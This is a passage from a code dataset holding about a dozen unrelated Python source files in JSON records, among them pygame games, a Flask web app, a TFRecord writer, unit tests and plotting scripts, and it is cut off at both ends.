x2\n\n\ndef draw_line(x, y, length, angle):\n if length <= 1:\n return False\n else:\n x2, y2 = length * cos(angle) + x, length * sin(angle) + y\n pygame.draw.line(screen, (255, 255, 255), [x, y], [x2, y2])\n draw_line(x2, y2, length * delta_length, angle + delta_angle)\n draw_line(x2, y2, length * delta_length, angle - delta_angle)\n\n\ndef update():\n global delta_angle, delta_length\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n\n pos = pygame.mouse.get_pos()\n delta_angle = map(pos[0], 0, width, 0, pi)\n delta_length = map(pos[1], 0, height, 0, 0.7)\n\n\ndef draw():\n screen.fill((0, 0, 0))\n\n draw_line(width / 2, height, height / 2, -pi / 2)\n\n\ndef main():\n while True:\n update()\n draw()\n\n pygame.display.flip()\n fpsClock.tick(fps)\n\n\nmain()\n","sub_path":"Simulations/fractal_tree.py","file_name":"fractal_tree.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"292976172","text":"import wx\r\nimport time \r\nimport class_camera as clc\r\nimport cv2\r\nimport io\r\nimport numpy as np\r\n \r\nclass myFrame(wx.Frame):\r\n def __init__(self, parent, title):\r\n wx.Frame.__init__(self, parent, title=title,size=(400,200))\r\n \r\n self.stream = io.BytesIO()\r\n \r\n #picamera_setup\r\n self.camera = clc.MyCamera(False)\r\n #self.camera.resolution=(200,200) \r\n #time.sleep(2)\r\n \r\n #timer_setup1\r\n self.timer = wx.Timer(self)\r\n self.Bind(wx.EVT_TIMER,self.OnTimer)\r\n self.timer.Start(500)\r\n \r\n #close_setup\r\n self.Bind(wx.EVT_CLOSE,self.DoExit)\r\n \r\n def OnTimer(self,event):\r\n self.frame=self.camera.frame\r\n #self.frame = cv2.imdecode(self.frame,1)\r\n \r\n #cv2convert\r\n #self.frame2 = cv2.cvtColor(self.frame,cv2.COLOR_BGR2GRAY)\r\n \r\n #save\r\n cv2.imwrite('./root/image.jpg',self.frame)\r\n #cv2.imwrite('./root/image2.jpg',self.frame2)\r\n \r\n #window\r\n img_out = wx.Image('./root/image.jpg')\r\n #img_out2 = wx.Image('./root/image2.jpg')\r\n self.bitmap_in = img_out.ConvertToBitmap()\r\n #self.bitmap_in2 = img_out2.ConvertToBitmap()\r\n wx.StaticBitmap(self, -1, self.bitmap_in ,(0,0), self.GetClientSize())\r\n #wx.StaticBitmap(self, -1, self.bitmap_in2 ,(200,0), self.GetClientSize()) \r\n \r\n def DoExit(self,event):\r\n self.camera.close()\r\n event.Skip()\r\n \r\napp = wx.App(False)\r\nframe = myFrame(None, \"Image Viewer\")\r\nframe.Show()\r\napp.MainLoop()","sub_path":"python/app4python/camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"427197125","text":"#!/usr/bin/python2.7\r\nimport numpy as np\r\nfrom sklearn.svm import SVR\r\n\r\n'''\r\n----class for support vector regression----\r\n/Document for implementing this class/\r\n __init__\r\n nfile: name of file we are going to analysis\r\n train\r\n operate training procedure.\r\n predict\r\n use trained data and give prediction(float type).\r\n GetParams\r\n gives coefficient and intercept.\r\n score\r\n evaluate R^2 value.\r\n'''\r\n\r\nclass SVR_reg:\r\n def __init__(self,nfile,C=1.0,epsilon=0.2):\r\n assert type(nfile) == str\r\n self._X,self._Y = self._DataSet(nfile)\r\n self._clf=SVR(C=C,epsilon=epsilon)\r\n self._IstrainingDone=False\r\n\r\n def train(self):\r\n self._clf.fit(self._X,self._Y)\r\n self._IstrainingDone=True\r\n\r\n def predict(self,X):\r\n assert type(X) == np.ndarray\r\n return self._clf.predict(X)\r\n\r\n def GetParams(self): \r\n if(self._IstrainingDone==False): raise ValueError(\"error! training should be ended up!\")\r\n return self._clf.get_params()\r\n\r\n def score(self,X,y):\r\n assert type(X) == np.ndarray\r\n assert type(y) == np.ndarray\r\n return self._clf.score(X,y)\r\n\r\n def _DataSet(self,nfile):\r\n with open(nfile,'r') as f: row=len(f.readlines())\r\n with open(nfile,'r') as f: col=len(f.readline().split())\r\n\r\n X=np.zeros([row,col-1],dtype=np.float64)\r\n Y=np.zeros([row],dtype=np.float64)\r\n with open(nfile,'r') as f:\r\n for i in range(row):\r\n temp=f.readline().split()\r\n X[i,:]=(temp[0:col-1])\r\n Y[i]=(temp[col-1])\r\n\r\n return (X.copy(),Y.copy())\r\n","sub_path":"algorithm/svr.py","file_name":"svr.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"168158677","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\"\"\"\nThis script is calculating Mahalanobis distance of each predict's PCx\nthen plot scatter of M-dist mean and TC err \n\"\"\"\n\ndef plotL2TC(LC7root, outfolder, ph3folder, grps, md):\n xlb=['2','3','4','5','6','7','8','9','10']\n\n SFMDtTC= []\n for grpnum,grp in enumerate(grps):\n difffile=outfolder+grp+\"-SFdiff.png\"\n\n #Read Symmetry_Function of Train and get Inverse of covariance matrix\n datadir=LC7root+grp+\"/1\"\n if grp=='mix':\n datadir=datadir+\"/1\"\n symfft=datadir+\"/data/CrystalSi64/symmetry_function.npz\"\n symt= np.load(symfft)\n symdtt= symt['sym_func']\n lenSFt= len(symdtt[0][0])\n SFdtt= symdtt.reshape(-1,lenSFt)\n SFt_mean1= SFdtt.mean(axis=0, keepdims=True)\n SFt_cov1= np.cov(SFdtt, rowvar=False)\n invcovSFt1=np.linalg.inv(SFt_cov1)\n print(f'invcov={invcovSFt1.shape} \\n {invcovSFt1}')\n\n L2meanL,L2SFtcovL,L2invcovL=[],[],[]\n \n for i in range(2,11):\n datadir=LC7root+grp+\"/\"+str(i)\n if grp=='mix':\n datadir=datadir+\"/1\"\n\n #Read Symmetry_Function of Train and get Inverse of covariance matrix\n symfft=datadir+\"/data/CrystalSi64/symmetry_function.npz\"\n symt= np.load(symfft)\n symdtt= symt['sym_func']\n lenSFt= len(symdtt[0][0])\n SFdtt= symdtt.reshape(-1,lenSFt)\n SFt_mean= SFdtt.mean(axis=0, keepdims=True)\n SFt_cov= np.cov(SFdtt, rowvar=False)\n invcovSFt=np.linalg.inv(SFt_cov)\n \n SFt_mean_diff=SFt_mean-SFt_mean1\n SFt_cov_diff=SFt_cov-SFt_cov1\n invcovSFt_diff=invcovSFt-invcovSFt1\n \n L2mean=np.linalg.norm(SFt_mean_diff,ord=2)\n L2SFtcov=np.linalg.norm(SFt_cov_diff,ord=2)\n L2invcov=np.linalg.norm(invcovSFt_diff,ord=2)\n \n L2meanL.append(L2mean)\n L2SFtcovL.append(L2SFtcov)\n L2invcovL.append(L2invcov)\n \n fig = plt.figure(figsize=(12, 4))\n ax1 = fig.add_subplot(1,3,1)\n ttl1=f'[{md}/{grp}] SFmean diff ({len(L2meanL)})'\n ax1.set_title(ttl1)\n ax1.grid(True)\n ax1.scatter(xlb, L2meanL, marker='.')\n ax2 = fig.add_subplot(1,3,2)\n ttl2=f'[{md}/{grp}] SFt_cov diff ({len(L2SFtcovL)})'\n ax2.set_title(ttl2)\n ax2.grid(True)\n ax2.scatter(xlb, L2SFtcovL, marker='.')\n ax3 = fig.add_subplot(1,3,3)\n ttl3=f'[{md}/{grp}] invcov diff ({len(L2invcovL)})'\n ax3.set_title(ttl3)\n ax3.grid(True)\n ax3.scatter(xlb, L2invcovL, marker='.')\n plt.savefig(difffile)\n plt.close()\n \n print(f'[{md}/{grp}:{len(SFMDtTC)}] of SF diff is plotted')\n\nif __name__ == '__main__': \n #calculate Mahalanobis distance of Lammps-MD LC7 Symm_Func and plot\n root=\"/home/okugawa/HDNNP/Si-190808/\"\n LC7root=root+\"1000K-LC7/\"\n outfolder=root+\"result-LC7/Mdist/chk/\"\n ph3folder=\"/predict-phono3py-3\"\n grps=['0.95','0.97','0.99','1.00','1.01','1.03','1.05','mix']\n plotL2TC(LC7root,outfolder,ph3folder,grps,\"Lammps-MD-LC7\")","sub_path":"BulkSi/checkSymmFunc/chkSFdiff.py","file_name":"chkSFdiff.py","file_ext":"py","file_size_in_byte":3227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"334336617","text":"import pygame\nfrom character import *\n\ndef main():\n # declare the size of the canvas\n width = 512\n height = 480\n blue_color = (97, 159, 182)\n\n # initialize the pygame framework\n pygame.init()\n\n # create screen\n screen = pygame.display.set_mode((width, height))\n\n # set window caption\n pygame.display.set_caption('Simple Example')\n\n # create a clock\n clock = pygame.time.Clock()\n\n ################################\n # PUT INITIALIZATION CODE HERE #\n ################################\n background = pygame.image.load('images/background.png').convert_alpha()\n hero = Hero(width/2,height/2)\n monster = Monster()\n monster.setInitialPosition(width, height,hero)\n\n # game loop\n stop_game = False\n game_over = False\n soundPlayed = False\n level=1\n enemies=[monster]\n while not stop_game:\n # look through user events fired\n for event in pygame.event.get():\n ################################\n # PUT EVENT HANDLING CODE HERE #\n ################################\n if event.type == pygame.QUIT:\n # if they closed the window, set stop_game to True\n # to exit the main loop\n stop_game = True\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_DOWN:\n hero.changeDirection(0,hero.maxspeed)\n elif event.key == pygame.K_UP:\n hero.changeDirection(0,-hero.maxspeed)\n elif event.key == pygame.K_LEFT:\n hero.changeDirection(-hero.maxspeed,0)\n elif event.key == pygame.K_RIGHT:\n hero.changeDirection(hero.maxspeed,0)\n elif event.key == pygame.K_RETURN:\n game_over=False\n soundPlayed=False\n monster.setInitialPosition(width, height, hero)\n goblin = Monster()\n goblin.setInitialPosition(width, height, hero)\n enemies.append(goblin)\n #######################################\n # PUT LOGIC TO UPDATE GAME STATE HERE #\n #######################################\n\n for e in enemies:\n e.update(width,height)\n\n hero.update(width,height,32)\n\n # fill background color\n # screen.fill(blue_color)\n # print background.get_width()\n screen.blit(background,(0,0))\n\n ################################\n # PUT CUSTOM DISPLAY CODE HERE #\n ################################\n hero.render(screen)\n if not game_over:\n for e in enemies:\n e.render(screen)\n else:\n #play sound\n if not soundPlayed:\n sound = pygame.mixer.Sound('sounds/win.wav')\n sound.play()\n soundPlayed = True\n level+=1\n\n if not game_over and checkCollision(monster,hero):\n game_over = True\n\n # update the canvas display with the currently drawn frame\n pygame.display.update()\n\n # tick the clock to enforce a max framerate\n clock.tick(60)\n\n # quit pygame properly to clean up resources\n pygame.quit()\n\nif __name__ == '__main__':\n main()\n","sub_path":"python/pygame-project/monster.py","file_name":"monster.py","file_ext":"py","file_size_in_byte":3281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"56786588","text":"import os\nfrom flask import Flask, render_template, request\nimport logging\n\nfrom database import base\nfrom database.base import User\n\nfrom views.menus import menus_blueprint\nfrom views.auth import auth_blueprint, kakao_oauth\n\nfrom rest_server.resource import TemperatureResource, TemperatureCreationResource, TemperatureByLocationResource\nfrom rest_server.resource_check import resource_blueprint\nfrom flask_restful import Api\n\nfrom flask_login import current_user, LoginManager\n\napplication = Flask(__name__)\n\napplication.register_blueprint(menus_blueprint, url_prefix='/menus')\napplication.register_blueprint(auth_blueprint, url_prefix='/auth')\napplication.register_blueprint(resource_blueprint, url_prefix='/resource')\n\napplication.config['WTF_CSRF_SECRET_KEY'] = os.urandom(24)\napplication.config['SECRET_KEY'] = os.urandom(24)\n\nlogin_manager = LoginManager()\nlogin_manager.init_app(application)\n\n@login_manager.user_loader\ndef load_user(user_id):\n q = base.db_session.query(User).filter(User.id == user_id)\n user = q.first()\n\n if user is not None:\n user._authenticated = True\n return user\n\napi = Api(application)\napi.add_resource(TemperatureResource, \"/resource/\")\napi.add_resource(TemperatureCreationResource, \"/resource_creation\")\napi.add_resource(TemperatureByLocationResource, \"/resource_location/\")\n\n# # 파일로 남기기 위해 filename='test.log' parameter로 추가한다.\n# logging.basicConfig(filename='test.log', level=logging.DEBUG)\n\n# @application.route('/')\n# def hello_world():\n# print(\"hello_world\")\n# logging.info('root call!!!')\n# return '

    Hello World!!!!!

    '\n\n@application.route('/')\ndef hello_html():\n return render_template(\n 'index.html',\n nav_menu=\"home\",\n current_user=current_user,\n kakao_oauth=kakao_oauth\n )\n\n@application.route('/login', methods=['POST', 'GET'])\ndef success():\n if request.method == 'POST': # POST 형식은 'index.html'에 있는 'form'안의 'myName'을 가져오는 방식\n myName = request.form['myName']\n else: # GET 형식은 쿼리 스트링에서 ? 뒤에 나오는 값을 가져오는 방식\n myName = request.args.get('myName')\n\n return 'welcome {0} {0}'.format(myName)\n\n@application.errorhandler(404)\ndef page_not_found(error):\n return \"

    404 Error

    \", 404\n\nif __name__ == '__main__':\n logging.info('Flask Web Server Started!!')\n application.config['TEMPLATES_AUTO_RELOAD'] = True\n application.debug = True # application.config['DEBUG'] = True\n application.run(host=\"localhost\", port=\"8080\")","sub_path":"service-oriented-programming/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"618069203","text":"from tensorflow import train\nfrom tensorflow import io\nfrom ml4ir.io import file_io\nfrom typing import List\nfrom logging import Logger\nfrom ml4ir.config.features import FeatureConfig, parse_config\nfrom ml4ir.config.keys import TFRecordTypeKey\nfrom argparse import ArgumentParser\nimport glob\nimport os\nimport sys\nfrom ml4ir.io.logging_utils import setup_logging\n\n\n\"\"\"\nThis module contains helper methods for writing\ndata in the train.SequenceExample protobuf format\n\nTo use it as a standalone script, refer to the argument spec\nat the bottom\n\nSyntax:\npython ml4ir/data/tfrecord_writer.py \\\n--csv_dir \\\n--tfrecord_dir \\\n--feature_config \\\n--convert_single_files \n\n\nExample:\npython ml4ir/data/tfrecord_writer.py \\\n--csv_dir `pwd`/python/ml4ir/tests/data/csv/train \\\n--tfrecord_dir `pwd`/python/ml4ir/tests/data/tfrecord/train \\\n--feature_config `pwd`/python/ml4ir/tests/data/csv/feature_config.json \\\n--convert_single_files True\n\n\"\"\"\n\n\ndef _bytes_feature(values):\n \"\"\"Returns a bytes_list from a string / byte.\"\"\"\n values = [value.encode(\"utf-8\") for value in values]\n return train.Feature(bytes_list=train.BytesList(value=values))\n\n\ndef _float_feature(values):\n \"\"\"Returns a float_list from a float / double.\"\"\"\n return train.Feature(float_list=train.FloatList(value=values))\n\n\ndef _int64_feature(values):\n \"\"\"Returns an int64_list from a bool / enum / int / uint.\"\"\"\n return train.Feature(int64_list=train.Int64List(value=values))\n\n\ndef _get_feature_fn(dtype):\n \"\"\"Returns appropriate feature function based on datatype\"\"\"\n if dtype == \"bytes\":\n return _bytes_feature\n elif dtype == \"float\":\n return _float_feature\n elif dtype == \"int\":\n return _int64_feature\n else:\n raise Exception(\"Feature dtype {} not supported\".format(dtype))\n\n\ndef _get_sequence_example_proto(group, feature_config: FeatureConfig):\n \"\"\"\n Get a sequence example protobuf from a dataframe group\n\n Args:\n - group: pandas dataframe group\n \"\"\"\n sequence_features_dict = dict()\n context_features_dict = dict()\n\n for feature_info in feature_config.get_context_features():\n feature_name = feature_info[\"name\"]\n feature_fn = _get_feature_fn(feature_info[\"dtype\"])\n context_features_dict[feature_name] = feature_fn([group[feature_name].tolist()[0]])\n\n for feature_info in feature_config.get_sequence_features():\n feature_name = feature_info[\"name\"]\n feature_fn = _get_feature_fn(feature_info[\"dtype\"])\n if feature_info[\"tfrecord_type\"] == TFRecordTypeKey.SEQUENCE:\n sequence_features_dict[feature_name] = train.FeatureList(\n feature=[feature_fn(group[feature_name].tolist())]\n )\n\n sequence_example_proto = train.SequenceExample(\n context=train.Features(feature=context_features_dict),\n feature_lists=train.FeatureLists(feature_list=sequence_features_dict),\n )\n\n return sequence_example_proto\n\n\ndef write(\n csv_files: List[str], tfrecord_file: str, feature_config: FeatureConfig, logger: Logger = None\n):\n \"\"\"\n Converts data from CSV files into tfrecord data.\n Output data protobuf format -> train.SequenceExample\n\n Args:\n csv_files: list of csv file paths to read data from\n tfrecord_file: tfrecord file path to write the output\n feature_config: str path to JSON feature config or str JSON feature config\n logger: logging object\n\n NOTE: This method should be moved out of ml4ir and into the preprocessing pipeline\n \"\"\"\n\n # Read CSV data into a pandas dataframe\n df = file_io.read_df_list(csv_files, log=logger)\n\n # Group pandas dataframe on query_id/query key and\n # convert each group to a single sequence example proto\n if logger:\n logger.info(\"Writing SequenceExample protobufs to : {}\".format(tfrecord_file))\n with io.TFRecordWriter(tfrecord_file) as tf_writer:\n context_feature_names = feature_config.get_context_features(key=\"name\")\n sequence_example_protos = df.groupby(context_feature_names).apply(\n lambda g: _get_sequence_example_proto(group=g, feature_config=feature_config)\n )\n for sequence_example_proto in sequence_example_protos:\n tf_writer.write(sequence_example_proto.SerializeToString())\n tf_writer.close()\n\n\ndef main(argv):\n \"\"\"Convert CSV files into tfrecord SequenceExample files\"\"\"\n\n # Define script arguments\n parser = ArgumentParser(description=\"Process arguments for ml4ir ranking pipeline.\")\n\n parser.add_argument(\n \"--csv_dir\", type=str, default=None, help=\"Path to the data directory containing CSV files\"\n )\n parser.add_argument(\n \"--csv_file\", type=str, default=None, help=\"Path to the CSV file to convert\"\n )\n parser.add_argument(\n \"--tfrecord_dir\",\n type=str,\n default=None,\n help=\"Path to the output directory to write TFRecord files\",\n )\n parser.add_argument(\n \"--tfrecord_file\",\n type=str,\n default=None,\n help=\"Path to the output file to write TFRecord data\",\n )\n parser.add_argument(\n \"--feature_config\",\n type=str,\n default=None,\n help=\"Path to feature config JSON file or feature config JSON string\",\n )\n parser.add_argument(\n \"--convert_single_files\",\n type=bool,\n default=False,\n help=\"Whether to convert each CSV file individually\"\n \"All occurences of a query key should be within a single file\",\n )\n args = parser.parse_args(argv)\n\n # Get all CSV files to be converted\n if args.csv_dir:\n csv_files: List[str] = glob.glob(os.path.join(args.csv_dir, \"*.csv\"))\n else:\n csv_files: List[str] = [args.csv_file]\n\n feature_config: FeatureConfig = parse_config(args.feature_config)\n\n # Setup logging\n logger: Logger = setup_logging()\n\n # Convert to TFRecord SequenceExample protobufs and save\n file_count = 0\n if args.convert_single_files:\n # Convert each CSV file individually - better performance\n for csv_file in csv_files:\n if args.tfrecord_dir:\n tfrecord_file: str = os.path.join(\n args.tfrecord_dir, \"file_{}.tfrecord\".format(file_count)\n )\n else:\n tfrecord_file: str = args.tfrecord_file\n\n write(\n csv_files=[csv_file],\n tfrecord_file=tfrecord_file,\n feature_config=feature_config,\n logger=logger,\n )\n\n file_count += 1\n else:\n # Convert all CSV files at once - expensive groupby operation\n if args.tfrecord_dir:\n tfrecord_file: str = os.path.join(\n args.tfrecord_dir, \"file_{}.tfrecord\".format(file_count)\n )\n else:\n tfrecord_file: str = args.tfrecord_file\n\n write(\n csv_files=csv_files,\n tfrecord_file=tfrecord_file,\n feature_config=feature_config,\n logger=logger,\n )\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","sub_path":"python/ml4ir/data/tfrecord_writer.py","file_name":"tfrecord_writer.py","file_ext":"py","file_size_in_byte":7169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"171297214","text":"from django.shortcuts import render, redirect\nfrom django.urls import reverse\nfrom .models import Contact\nfrom django.core.mail import send_mail\nfrom django.contrib import messages\n\n\ndef contact(request):\n if request.method == \"POST\":\n apartment_id = request.POST['apartment_id']\n name = request.POST['name']\n apartment_title = request.POST['apartment_title']\n email = request.POST['email']\n realtor_email = request.POST['realtor_email'] or 'pet.pluta@gmail.com'\n phone = request.POST['phone']\n message = request.POST['message']\n\n if request.user.is_authenticated:\n user_id = request.user.id\n contact = Contact.objects.all().filter(\n apartment_id=apartment_id, user_id=user_id)\n if contact:\n messages.warning(request, \"Contact was already added earlier!\")\n else:\n contact = Contact(title=apartment_title, apartment_id=apartment_id,\n name=name, email=email, phone=phone, message=message, user_id=request.user.id)\n contact.save()\n try:\n print(\"realtor_email\",realtor_email)\n send_mail(\n \"New connect\",\n \"Apartment for \" + apartment_title + \"contact with new client\",\n \"from\",\n [realtor_email, ],\n fail_silently=False\n )\n messages.success(request, \"Email was sent to realtor\")\n except:\n messages.error(request, \"Email sending fail!\")\n\n return redirect(reverse(\"apartment\", kwargs={\"apartment_id\": apartment_id}))\n","sub_path":"app/contact/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"413423934","text":"import unittest\nfrom mock import MagicMock, patch, mock_open, call\nimport VlanAssigner\n\nclass TestsVlanAssigner(unittest.TestCase):\n\n def setUp(self):\n self.reader = [['device_id', 'primary_port', 'vlan_id'],\n ['0', '1', '2'],\n ['0', '1', '5'],\n ['0', '1', '8'],\n ['0', '0', '2'],\n ['0', '0', '3'],\n ['0', '0', '4'],\n ['0', '0', '6'],\n ['0', '0', '7'],\n ['0', '0', '8'],\n ['0', '0', '1'],\n ['1', '1', '1'],\n ['1', '1', '5'],\n ['1', '1', '6'],\n ['1', '1', '9'],\n ['1', '0', '1'],\n ['1', '0', '4'],\n ['1', '0', '5'],\n ['1', '0', '7'],\n ['2', '1', '1'],\n ['2', '1', '4'],\n ['2', '1', '1'],\n ]\n\n def tearDown(self):\n pass\n\n @patch('VlanAssigner.VlanAssigner._create_hashmap')\n @patch('VlanAssigner.open')\n def test_create_files_OK(self, mock_op, mock_create_hash):\n\n VlanAssigner.VlanAssigner('test_vlans.csv')\n mock_op.assert_has_calls([call('test_vlans.csv', 'rb'),\n call('output.csv', 'w')\n ])\n\n @patch('VlanAssigner.VlanAssigner._create_hashmap')\n @patch('VlanAssigner.open')\n def test_create_files_raisesExceptionIfFileHasIssues(self, mock_op, mock_create_hash):\n\n mock_op.side_effect = IOError('Cannot find file')\n self.assertRaisesRegexp(IOError, 'Cannot find file',\n VlanAssigner.VlanAssigner, ('test_vlans.csv',))\n\n\n\n @patch('VlanAssigner.open')\n @patch('VlanAssigner.csv')\n def test_create_hashmap_OK(self, mock_csv, mock_op):\n\n mock_csv.reader.return_value = iter(self.reader)\n a = VlanAssigner.VlanAssigner('test_vlans.csv')\n\n self.assertEqual(sorted(a.deviceId_to_port_vlans.keys()),\n ['0', '1', '2']\n )\n self.assertEqual(sorted(a.deviceId_to_port_vlans['0'][a.PRIMARY_FREE]),\n [2, 5, 8]\n )\n self.assertEqual(sorted(a.deviceId_to_port_vlans['0'][a.SECONDARY_FREE]),\n [1, 2, 3, 4, 6, 7, 8])\n\n self.assertEqual(sorted(a.deviceId_to_port_vlans['1'][a.PRIMARY_FREE]),\n [1, 5, 6, 9])\n self.assertEqual(sorted(a.deviceId_to_port_vlans['1'][a.SECONDARY_FREE]),\n [1, 4, 5, 7])\n\n self.assertEqual(sorted(a.deviceId_to_port_vlans['2'][a.PRIMARY_FREE]),\n [1, 1, 4])\n self.assertEqual(sorted(a.deviceId_to_port_vlans['2'][a.SECONDARY_FREE]),\n [])\n\n #@patch('VlanAssigner.open')\n #@patch('VlanAssigner.csv')\n def test_findAvailablePort_nonRedundant(self):\n\n assigner = VlanAssigner.VlanAssigner('test_vlans.csv')\n\n assigner.find_available_port(req_id='1', is_redundant_request=False)\n\n self.assertEqual(assigner.deviceId_to_port_vlans['0'])\n\n #assigner.deviceId_to_port_vlans['0'][assigner.PRIMARY_FREE] = [2, 5, 8]\n #assigner.deviceId_to_port_vlans['0'][assigner.SECONDARY_FREE] = [1, 2, 3, 4, 6, 7, 8]\n #assigner.deviceId_to_port_vlans[]\n","sub_path":"telnyx/tests/vlan_assigner_tests.py","file_name":"vlan_assigner_tests.py","file_ext":"py","file_size_in_byte":3413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"16810793","text":"import unittest\n\nfrom pkg.Overseer import Overseer\nimport pkg.interfaces.common as common\nfrom pkg.interfaces.common import Player, Zone, Path, Dirt\nfrom pkg.interfaces.enemy import Wolf\nfrom pkg.interfaces.database import Database\nfrom pkg.cache.cache import Cache\n\ndef getTestPlayerReset():\n Database.resetPlayer(\"test\", \"test\")\n pid = Player.getPid(\"test\", \"test\")\n return Player.fromID(pid)\n\nclass testGeneral(unittest.TestCase):\n\n def testLoginLogout(self):\n SimpleMap.setup()\n Database.resetPlayer(\"test\", \"test\")\n pid = Player.getPid(\"test\", \"test\")\n p = Player.fromID(pid)\n assert pid == p.pid\n p.login()\n assert p in p.getZone().players\n p.logout()\n assert p not in p.getZone().players\n #make sure you cant do stuff while logged out\n try:\n p.swipe(Dirt.up)\n self.fail(\"swiped while not lgoged in\")\n except common.PlayerNotLoggedInException:\n pass\n\n def testWalking(self):\n SimpleMap.setup()#??\n p = getTestPlayerReset()\n p.login()\n z = p.getZone()\n assert len(z.players) == 1\n #no path\n p.swipe(Dirt.down)\n assert p in z.players\n #path exists\n p.swipe(Dirt.up)\n assert p not in z.players\n newz = p.getZone()\n assert p in newz.players\n p.logout()\n assert p not in newz.players\n\n def testZoneSaving(self):\n z = Zone.fromID(1)\n z.save()\n\n def testEnemy(self):\n SimpleMap.setup()\n w = Wolf(zid=1)\n z1 = Zone.fromID(1)\n z1.onEnter(w)\n assert len(z1.enemies) == 1\n w._die()\n assert len(z1.enemies) == 0\n\n def testRetreat(self):\n SimpleMap.setup()\n w = Wolf(zid=1)\n z1 = Zone.fromID(1)\n z1.onEnter(w)\n z1.save()\n Cache.clear()\n z = Zone.fromID(1)\n w = z.enemies[0]\n w._retreat()\n assert w.getZone().zid == 2\n assert not z.enemies\n z.save()\n\nclass Map():\n pass\n\nclass SimpleMap(Map):\n\n @staticmethod\n def setup():\n z1 = Zone(zid=1)\n z2 = Zone(zid=2)\n z1.paths.append(Path(dirt=Dirt.up.value,dest=2))\n z1.save()\n z2.save()\n\nif __name__ == \"__main__\":\n Overseer.testing = True\n unittest.main()\n","sub_path":"server/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"295208768","text":"import cv2\n\n\n\ndef draw_bbox_cross(frame, inst):\n far_color = (100, 255, 100)\n mid_color = (128, 255, 255)\n near_color = (128, 128, 255)\n\n color = far_color\n if hasattr(inst, '_distance_level'):\n if inst._distance_level == 'Mid':\n color = mid_color\n elif inst._distance_level == 'Near':\n color = near_color\n\n height = (inst._bbox[3] - inst._bbox[1])\n width = (inst._bbox[2] - inst._bbox[0])\n thickness = 1\n\n px0 = (int(inst._bbox[0]), int(inst._bbox[1] + height/2.0))\n px1 = (int(inst._bbox[2]), int(inst._bbox[1] + height/2.0))\n\n py0 = (int(inst._bbox[0] + width/ 2.0), inst._bbox[1])\n py1 = (int(inst._bbox[0] + width/ 2.0), inst._bbox[3])\n\n cv2.line(frame, px0, px1, color=color, thickness=thickness)\n cv2.line(frame, py0, py1, color=color, thickness=thickness)\n\n top0 = (int(inst._bbox[0] + width/2.0 - width/10), int(inst._bbox[1]))\n top1 = (int(inst._bbox[0] + width / 2.0 + width/10), int(inst._bbox[1]))\n\n bottom0 = (int(inst._bbox[0] + width / 2.0 - width/10), int(inst._bbox[3]))\n bottom1 = (int(inst._bbox[0] + width / 2.0 + width/10), int(inst._bbox[3]))\n\n left0 = (int(inst._bbox[0]), int(inst._bbox[1] + height/2.0 - height/10.0))\n left1 = (int(inst._bbox[0]), int(inst._bbox[1] + height / 2.0 + height / 10.0))\n\n right0 = (int(inst._bbox[2]), int(inst._bbox[1] + height / 2.0 - height / 10.0))\n right1 = (int(inst._bbox[2]), int(inst._bbox[1] + height / 2.0 + height / 10.0))\n\n cv2.line(frame, top0, top1, color=color, thickness=thickness)\n cv2.line(frame, bottom0, bottom1, color=color, thickness=thickness)\n cv2.line(frame, left0, left1, color=color, thickness=thickness)\n cv2.line(frame, right0, right1, color=color, thickness=thickness)\n\n center = (int(inst._bbox[0] + width/2.0), int(inst._bbox[1] + height/2.0))\n\n name = inst._label\n fontscale = width / 70\n sz = cv2.getTextSize(name, fontFace=cv2.FONT_HERSHEY_PLAIN, fontScale=fontscale, thickness=1)[0]\n\n frame = cv2.rectangle(frame, (int(center[0]-sz[0]/2.0), int(center[1]-sz[1]/2.0)),\n (int(center[0] + sz[0] / 2.0), int(center[1] + sz[1] / 2.0)),\n color=(0, 0, 0), thickness=-1)\n\n # frame = cv2.rectangle(frame, p1, p2, color=(0, 0, 255), thickness=2)\n frame = cv2.putText(frame, name, (int(center[0]-sz[0]/2.0), int(center[1]+sz[1]/2.0)),\n fontFace=cv2.FONT_HERSHEY_PLAIN, fontScale=fontscale,\n color=(255, 255, 255), thickness=1)\n\n\n return frame\n\ndef draw_detections(frame, insts):\n for inst in insts:\n frame = draw_bbox_cross(frame, inst)\n\n\n return frame\n","sub_path":"utils/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":2683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"159722934","text":"#!/usr/bin/env python\n\n## text_classification_with_TEXTnet.py\n\n\"\"\"\nThis script shows how you can use a neural network with feedback for\nthe classification of a variable-length sequence. The main idea is to\nrepresent a variable-length input with a fixed-length hidden state \nvector. \n\"\"\"\n\nimport random\nimport numpy\nimport torch\nimport torch.nn as nn\nimport os, sys\nimport copy\nimport torch.optim as optim\nimport time\nimport matplotlib.pyplot as plt\n\n\nseed = 0 